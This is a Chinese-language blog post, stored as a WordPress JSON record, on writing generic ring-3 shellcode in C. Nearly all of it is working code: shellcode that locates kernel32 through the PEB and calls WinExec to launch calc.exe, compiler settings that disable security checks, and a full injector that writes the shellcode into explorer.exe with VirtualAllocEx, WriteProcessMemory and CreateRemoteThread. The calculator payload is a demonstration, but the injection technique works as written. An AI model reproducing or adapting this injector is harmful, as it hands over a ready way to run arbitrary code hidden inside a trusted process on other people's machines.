{"id":206,"date":"2019-04-14T16:34:13","date_gmt":"2019-04-14T08:34:13","guid":{"rendered":"http:\/\/www.sinkland.cn\/?p=206"},"modified":"2019-08-23T21:37:47","modified_gmt":"2019-08-23T13:37:47","slug":"%e7%8e%af%e4%b8%89%e9%80%9a%e7%94%a8shellcode","status":"publish","type":"post","link":"http:\/\/www.sinkland.cn\/?p=206","title":{"rendered":"\u73af\u4e09\u901a\u7528Shellcode"},"content":{"rendered":"<p>\u6709\u65f6\u5019\u56e0\u4e3a\u67d0\u4e9b\u539f\u56e0\u4e0d\u60f3\u6ce8\u5165dll\u5230\u53e6\u5916\u4e00\u4e2a\u8fdb\u7a0b\u4e2d\uff0c\u9700\u8981\u6ce8\u5165\u4e00\u6bb5Shellcode\u5230\u5176\u4ed6\u8fdb\u7a0b\u4e2d<\/p>\n<p>\u4e0d\u8fc7Shellcode\u7f16\u5199\u548c\u8c03\u8bd5\u8f83\u53c8\u8f83\u4e3a\u4e3a\u590d\u6742\uff0c\u8fd9\u91cc\u63d0\u4f9b\u4e00\u79cd\u901a\u7528\u7684C\u5b9e\u73b0\u7684Shellcode\u65b9\u5f0f<\/p>\n<p>\u4e0d\u8fc7\u8fd9\u4e2a\u65b9\u5f0f\u7f16\u8bd1\u4e5f\u53c8\u4e00\u4e2a\u7f3a\u70b9:<strong>Shellcode\u4f53\u79ef\u6bd4\u8f83\u5927<\/strong><\/p>\n<p>\u5982\u679c\u8ffd\u6c42\u5c0f\u5de7\u7684\u8bdd\uff0c\u8fd8\u662f\u9700\u8981\u6c47\u7f16\u5b9e\u73b0<\/p>\n<p>\u7f16\u8bd1\u7684\u65f6\u5019\u9700\u8981\u5173\u95ed\u4ee5\u4e0b\u9009\u9879\uff0c\u4e0d\u7136\u6ce8\u5165\u540e\u7684Shellcode\u4f1a\u8fd0\u884c\u51fa\u9519:<\/p>\n<ul>\n<li>C\/C++ -> SDL\u68c0\u67e5: \u5426<\/li>\n<li>C\/C++ -> \u4ee3\u7801\u751f\u6210: \u7981\u7528\u5b89\u5168\u68c0\u67e5 (\/GS-)<\/li>\n<li>\u94fe\u63a5 -> \u5e38\u89c4 -> \u542f\u7528\u589e\u91cf\u94fe\u63a5: \u5426<\/li>\n<\/ul>\n<p>\u6838\u5fc3\u4ee3\u7801:<\/p>\n<pre><code class=\"language-c \">typedef UINT(WINAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);\n\n#pragma optimize( \"\", off )\n\/\/ \u5173\u95ed\u8fd0\u884c\u65f6\u68c0\u67e5\n#pragma runtime_checks( \"scu\", off )\n\nDWORD WINAPI ShellcodeGeneric()\n{\n#ifdef _WIN64\n    PPEB lpPeb = (PPEB)__readgsqword(0x60);\n#else\n    PPEB lpPeb = (PPEB)__readfsdword(0x30);\n#endif\n\n    PLIST_ENTRY pListHead = &amp;lpPeb-&gt;Ldr-&gt;InMemoryOrderModuleList;\n    PLIST_ENTRY pListEntry = pListHead-&gt;Flink;\n    WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\\0' };\n    DWORD dwSizeKernel32 = sizeof(strKernel32) \/ sizeof(WCHAR);\n\n    \/\/ \u5bfb\u627ekernel32.dll\n    HANDLE hKernel32 = NULL;\n    while (pListEntry != pListHead) \n    {\n        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\n        DWORD dwLen = pModEntry-&gt;FullDllName.Length;\n        if (dwLen == 0 || dwLen &lt; dwSizeKernel32)\n        {\n            continue;\n        }\n        PWCHAR pszDllPath = pModEntry-&gt;FullDllName.Buffer;\n        for (DWORD i = 0; i &lt; dwLen - dwSizeKernel32; i++)\n        {\n            BOOL bCampareSuccessed = TRUE;\n            for (DWORD j = 0; j &lt; dwSizeKernel32; j++)\n            {\n                if (pszDllPath[i + j] != strKernel32[j])\n                {\n                    bCampareSuccessed = FALSE;\n                    break;\n                }\n            }\n            if (bCampareSuccessed)\n            {\n                hKernel32 = pModEntry-&gt;DllBase;\n                break;\n            }\n        }\n        if (hKernel32 != NULL)\n        {\n            break;\n        }\n        pListEntry = pListEntry-&gt;Flink;\n    }\n    if (hKernel32 == NULL)\n    {\n        return 0;\n    }\n\n    \/\/ \u4ece\u5bfc\u51fa\u8868\u9009\u51fa\u51fd\u6570\u5730\u5740\n    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;\n    PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)hKernel32 + pDosHeader-&gt;e_lfanew);\n    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)\n        ((PCHAR)hKernel32 + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\n\n    LPDWORD pNameArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir-&gt;AddressOfNames);\n    LPDWORD pAddrArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir-&gt;AddressOfFunctions);\n    LPWORD pOrdArray = (LPWORD)((PCHAR)hKernel32 + pExportDir-&gt;AddressOfNameOrdinals);\n\n    CHAR strWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', 0x0 };\n\n    fnWinExec pfnWinExec = NULL;\n\n    for (UINT i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++) \n    {\n        if (pfnWinExec != NULL)\n        {\n            break;\n        }\n\n        PCHAR pFuncName = (PCHAR)((PCHAR)hKernel32 + pNameArray[i]);\n\n        BOOL bCampareSuccessed = TRUE;\n        for (DWORD j = 0; j &lt; sizeof(strWinExec) + 1; j++)\n        {\n            if (pFuncName[j] != strWinExec[j])\n            {\n                bCampareSuccessed = FALSE;\n                break;\n            }\n            if (pFuncName[j] == 0x0)\n            {\n                break;\n            }\n        }\n        if (bCampareSuccessed)\n        {\n            pfnWinExec = (fnWinExec)((PCHAR)hKernel32 + pAddrArray[pOrdArray[i]]);\n            continue;\n        }\n    }\n\n    if (pfnWinExec != NULL)\n    {\n        CHAR szCmd[] = { 'C', 'a', 'l', 'c', '.', 'e', 'x', 'e', 0x0 };\n        pfnWinExec(szCmd, SW_SHOW);\n    }\n    return 0;\n}\n\nDWORD ShellcodeGenericEnd()\n{\n    return GetTickCount();\n}\n#pragma optimize( \"\", on ) \n#pragma runtime_checks( \"scu\", on )\n<\/code><\/pre>\n<p>\u5934\u6587\u4ef6:<\/p>\n<pre><code class=\"language-c \">#include &lt;Windows.h&gt;\ntypedef struct _PEB_LDR_DATA\n{\n    ULONG       Length;\n    BOOLEAN     Initialized;\n    HANDLE      SsHandle;\n    LIST_ENTRY  InLoadOrderModuleList;\n    LIST_ENTRY  InMemoryOrderModuleList;\n    LIST_ENTRY  InInitializationOrderModuleList;\n    PVOID       EntryInProgress;\n\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\ntypedef struct _UNICODE_STRING {\n    USHORT Length;\n    USHORT MaximumLength;\n#ifdef MIDL_PASS\n    [size_is(MaximumLength \/ 2), length_is((Length) \/ 2)] USHORT * Buffer;\n#else \/\/ MIDL_PASS\n    _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH   Buffer;\n#endif \/\/ MIDL_PASS\n} UNICODE_STRING;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n    BYTE           Reserved1[16];\n    PVOID          Reserved2[10];\n    UNICODE_STRING ImagePathName;\n    UNICODE_STRING CommandLine;\n\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\ntypedef struct _PEB\n{\n    BYTE                          Reserved1[2];\n    BYTE                          BeingDebugged;\n    BYTE                          Reserved2[1];\n    PVOID                         Reserved3[1];\n    PVOID                         ImageBaseAddress;\n    PPEB_LDR_DATA                 Ldr;\n    PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;\n    BYTE                          Reserved4[104];\n    PVOID                         Reserved5[52];\n    PVOID                         PostProcessInitRoutine;\n    BYTE                          Reserved6[128];\n    PVOID                         Reserved7[1];\n    ULONG                         SessionId;\n} PEB, *PPEB;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n    LIST_ENTRY      InLoadOrderLinks;\n    LIST_ENTRY      InMemoryOrderLinks;\n    LIST_ENTRY      InInitializationOrderLinks;\n    PVOID           DllBase;\n    PVOID           EntryPoint;\n    ULONG           SizeOfImage;\n    UNICODE_STRING  FullDllName;\n    UNICODE_STRING  BaseDllName;\n    ULONG           Flags;\n    USHORT          LoadCount;\n    USHORT          TlsIndex;\n\n    union\n    {\n        LIST_ENTRY HashLinks;\n        struct\n        {\n            PVOID SectionPointer;\n            ULONG Checksum;\n        };\n    };\n    union\n    {\n        struct\n        {\n            ULONG TimeDateStamp;\n        };\n        struct\n        {\n            PVOID LoadedImports;\n        };\n    };\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n<\/code><\/pre>\n<p>\u987a\u4fbf\u52a0\u4e0a\u4e00\u4efd\u6ce8\u5165Explorer\u7684\u5b9e\u73b0\u4ee3\u7801:<\/p>\n<pre><code class=\"language-c \"><br \/>BOOL WINAPI InjectByShellcode(DWORD dwPid, PBYTE pShellcode, DWORD dwShellcodeSize, PBYTE pParam, DWORD dwParamSize)\n{\n    HANDLE hProcess = NULL, hThread = NULL;;\n    PVOID pRemoteShellcode = NULL;\n    PVOID pRemoteParam = NULL;\n    BOOL bRet = FALSE;\n    do\n    {\n        hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPid);\n        if (hProcess == NULL)\n        {\n            printf(\"InjectByShellcode OpenProcess err.\\n\");\n            break;\n        }\n\n        pRemoteShellcode = (PVOID)VirtualAllocEx(hProcess, NULL, dwShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n        if (pRemoteShellcode == NULL)\n        {\n            printf(\"InjectByShellcode VirtualAllocEx err.\\n\");\n            break;\n        }\n        if (!WriteProcessMemory(hProcess, pRemoteShellcode, (PVOID)pShellcode, dwShellcodeSize, NULL))\n        {\n            printf(\"InjectByShellcode WriteProcessMemory err1.\\n\");\n            break;\n        }\n\n        if (pParam != NULL &amp;&amp; dwParamSize != 0)\n        {\n            pRemoteParam = (PVOID)VirtualAllocEx(hProcess, NULL, dwParamSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n            if (pRemoteParam == NULL)\n            {\n                break;\n            }\n            if (!WriteProcessMemory(hProcess, pRemoteParam, (PVOID)pParam, dwParamSize, NULL))\n            {\n                printf(\"InjectByShellcode WriteProcessMemory err2.\\n\");\n                break;\n            }\n        }\n\n        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, pRemoteParam, 0, NULL);\n        if (hThread == NULL)\n        {\n            printf(\"InjectByShellcode CreateRemoteThread err.\\n\");\n            break;\n        }\n        bRet = TRUE;\n\n    } while (0);\n\n    if (hThread != NULL)\n    {\n        WaitForSingleObject(hThread, INFINITE);\n    }\n    if (hProcess != NULL)\n    {\n        if (pRemoteShellcode != NULL)\n        {\n            VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);\n        }\n        if (pRemoteParam != NULL)\n        {\n            VirtualFreeEx(hProcess, pRemoteParam, 0, MEM_RELEASE);\n        }\n    }\n    if (hThread != NULL)\n    {\n        CloseHandle(hThread);\n    }\n    if (hProcess)\n    {\n        CloseHandle(hProcess);\n    }\n    return bRet;\n}\n\nDWORD GetPidByName(PWCHAR szProcName)\n{\n    HANDLE hSnap = NULL;\n    DWORD dwPid = 0;\n    do\n    {\n        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n        if (hSnap == NULL)\n        {\n            break;\n        }\n        PROCESSENTRY32 pe32 = { 0x00 };\n        pe32.dwSize = sizeof(PROCESSENTRY32);\n        if (!Process32First(hSnap, &amp;pe32))\n        {\n            break;\n        }\n        do\n        {\n            if (StrCmpI(pe32.szExeFile, szProcName) == 0)\n            {\n                dwPid = pe32.th32ProcessID;\n                break;\n            }\n        } while (Process32Next(hSnap, &amp;pe32));\n    } while (FALSE);\n\n\n    if (hSnap != NULL)\n    {\n        CloseHandle(hSnap);\n    }\n    return dwPid;\n}\n\nint main()\n{\n    UINT_PTR dwCodeSize = 0;\n    if ((UINT_PTR)ShellcodeGenericEnd &gt; (UINT_PTR)ShellcodeGeneric)\n    {\n        dwCodeSize = (UINT_PTR)ShellcodeGenericEnd - (UINT_PTR)ShellcodeGeneric;\n    }\n    if (dwCodeSize == 0)\n    {\n        return FALSE;\n    }\n\n    DWORD dwPid = GetPidByName((PWCHAR)L\"explorer.exe\");\n    if (dwPid == NULL)\n    {\n        return 0;\n    }\n    printf(\"explorer Pid:%d\\n\", dwPid);\n\n    InjectByShellcode(dwPid, (PBYTE)ShellcodeGeneric, (DWORD)dwCodeSize, (PBYTE)NULL, 0);\n\n    getchar();\n}\n<\/code><\/pre>\n<p>\u6700\u7ec8\u6548\u679c(win7 x64):<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/pic.sinkland.cn\/calc.png\" alt=\"image\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6709\u65f6\u5019\u56e0\u4e3a\u67d0\u4e9b\u539f\u56e0\u4e0d\u60f3\u6ce8\u5165dll\u5230\u53e6\u5916\u4e00\u4e2a\u8fdb\u7a0b\u4e2d\uff0c\u9700\u8981\u6ce8\u5165\u4e00\u6bb5Shellcode\u5230\u5176\u4ed6\u8fdb\u7a0b\u4e2d \u4e0d\u8fc7Shellc [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"_links":{"self":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/206"}],"collection":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=206"}],"version-history":[{"count":2,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/206\/revisions"}],"predecessor-version":[{"id":211,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=\/wp\/v2\/posts\/206\/revisions\/211"}],"wp:attachment":[{"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=206"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=206"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.sinkland.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=206"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}